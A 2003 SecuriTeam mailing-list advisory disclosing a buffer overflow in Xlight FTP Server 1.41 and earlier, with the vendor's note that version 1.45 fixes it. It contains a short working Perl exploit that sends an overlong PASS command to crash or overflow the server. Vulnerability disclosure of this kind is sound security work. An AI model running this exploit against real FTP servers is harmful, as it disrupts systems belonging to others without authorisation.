

[NT] Xlight FTP Server PASS Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-12/0072.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 12/22/03

To: list@securiteam.com

Date: 22 Dec 2003 14:04:50 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Xlight FTP Server PASS Buffer Overflow

SUMMARY

<<http://www.xlightftpd.com/>> Xlight FTP server is "a powerful ftp server with very small program size". A buffer overflow vulnerability in the product has been found allowing remote attackers to overflow an internal buffer.

DETAILS

Vulnerable systems:

- * Xlight FTP Server version 1.41 and prior

Immune systems:

- * Xlight FTP Server version 1.45

By sending an overflow long PASS command a local buffer used in Xlight FTP server can be overflowed.

Vendor status:

"We would like to inform you that we have release a new version of Xlight ftp server 1.45 which includes solution for this buffer overflow problem.

Thanks for your alert.

Securiteam: [NT] Xlight FTP Server PASS Buffer Overflow

Best regards,
Xlight ftp support
support@xlightftpd.com"

```
Exploit:
#!/usr/bin/perl
#
# Exploit for Xlight FTP server long PASS vulnerability
#
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
                                PeerAddr => $host,
                                PeerPort => "ftp(21)",
                                );
unless ($remote) { die "cannot connect to ftp daemon on $host" }

$remote->autoflush(1);

print $remote "USER anonymous\r\n";
sleep(1);

$buf = "A"x54; # Min 54, Max 523
print $remote "PASS ".$buf."\r\n";
sleep(1);

close $remote;
```

ADDITIONAL INFORMATION

SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for finding this vulnerability.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.